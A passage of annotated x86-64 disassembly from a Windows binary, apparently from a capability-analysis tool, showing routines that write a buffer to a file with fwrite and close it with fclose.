lea rcx, [rbx + 0x6038]
mov rdx, rbp
call fcn.14002a3c0
mov eax, dword [rbx + 0x6038]
xor edx, edx
mov r9, qword [rbx + 0x6030]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rbx + 0x6040]
cmove ecx, edx
test rax, rax
movsxd r8, ecx
mov edx, 1
lea rcx, [0x140086ed8]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x14001bbef
add rcx, 0x6038
call fcn.14002a3c0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400244b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x140086ed0]
mov rbx, rcx
xor ecx, ecx
mov dword [rax + 0x5f8c], ecx
test rbx, rbx
je 0x14002451f
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x38], rdi
call fcn.140024530
lea rdx, [0x140051d74]
mov rcx, rbx
mov rdi, rax
call fcn.1400199c0
mov rbx, rax
test rax, rax
je 0x14002451a
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret